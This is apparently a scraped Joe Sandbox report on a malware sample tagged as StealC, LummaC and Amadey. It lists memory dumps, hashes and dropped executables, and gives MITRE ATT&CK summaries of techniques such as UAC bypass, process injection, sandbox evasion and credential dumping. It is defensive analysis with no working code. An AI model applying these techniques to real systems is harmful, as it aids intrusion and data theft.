Associated: 00000007.00000002.2594164967.0000000000AD3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594184608.0000000000AD4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594205483.0000000000ADD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594225663.0000000000AE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594249531.0000000000AFB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594272468.0000000000B0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594297813.0000000000B1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594316960.0000000000B1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594338236.0000000000B20000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594358499.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594380200.0000000000B2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594402205.0000000000B2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594421271.0000000000B30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594440489.0000000000B35000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594459060.0000000000B36000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594478941.0000000000B3D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594500175.0000000000B48000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594520015.0000000000B49000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594540534.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594561028.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594580191.0000000000B52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594599370.0000000000B57000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594619167.0000000000B60000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594638750.0000000000B63000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594659007.0000000000B64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594679715.0000000000B68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594700843.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594720740.0000000000B73000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594745259.0000000000B90000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594764106.0000000000B92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594783838.0000000000B93000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594804635.0000000000B97000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594878067.0000000000BE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594897536.0000000000BE8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_930000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 48da877963d047e204b2fefd58d48dcb36e216efd215ed0491d1cfc067f884a6
Instruction ID: 7fb9bfad8fee9476fb5aff4d85a810f062ce9c322c5854010fbb1065cdf98188
Opcode Fuzzy Hash: 48da877963d047e204b2fefd58d48dcb36e216efd215ed0491d1cfc067f884a6
Instruction Fuzzy Hash: F3F0E57150C1049BCB08AF18C41866FB7E5EF84321F21892DF99683780DA395C009A5A

Non-executed Functions

Function 00ABFB3A Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2594084718.0000000000ABC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00930000, based on PE: true

Associated: 00000007.00000002.2593848176.0000000000930000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593870400.0000000000932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593892608.0000000000936000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593913625.000000000093A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2593937947.0000000000946000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594039773.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594061134.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594084718.0000000000ACB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594127827.0000000000ACF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594146225.0000000000AD0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594164967.0000000000AD3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594184608.0000000000AD4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594205483.0000000000ADD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594225663.0000000000AE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594249531.0000000000AFB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594272468.0000000000B0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594297813.0000000000B1C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594316960.0000000000B1D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594338236.0000000000B20000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594358499.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594380200.0000000000B2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594402205.0000000000B2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594421271.0000000000B30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594440489.0000000000B35000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594459060.0000000000B36000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594478941.0000000000B3D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594500175.0000000000B48000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594520015.0000000000B49000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594540534.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594561028.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594580191.0000000000B52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594599370.0000000000B57000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594619167.0000000000B60000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594638750.0000000000B63000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594659007.0000000000B64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594679715.0000000000B68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594700843.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594720740.0000000000B73000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594745259.0000000000B90000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594764106.0000000000B92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594783838.0000000000B93000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594804635.0000000000B97000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594836195.0000000000BD6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594878067.0000000000BE6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2594897536.0000000000BE8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_930000_6BWDEAM9H4119O8P9KYSM4M710Q.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ee1960c86bd70d040de7318cfd08aaafd85be2ea30d0e1757eb2b195fc1fd20
Instruction ID: 56a0f5bbb55f82fe12cce42b6a0102875458ae8bf2d7a510f28cb8fc581e245a
Opcode Fuzzy Hash: 4ee1960c86bd70d040de7318cfd08aaafd85be2ea30d0e1757eb2b195fc1fd20
Instruction Fuzzy Hash: B271C17258E7C19FD3038B748879182BFB1AE6312431E59DFC0C68F4A3E325585AD756

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6BWDEAM9H4119O8P9KYSM4M710Q.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Z72A5QS1XOE2OWTBBJM669OT.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre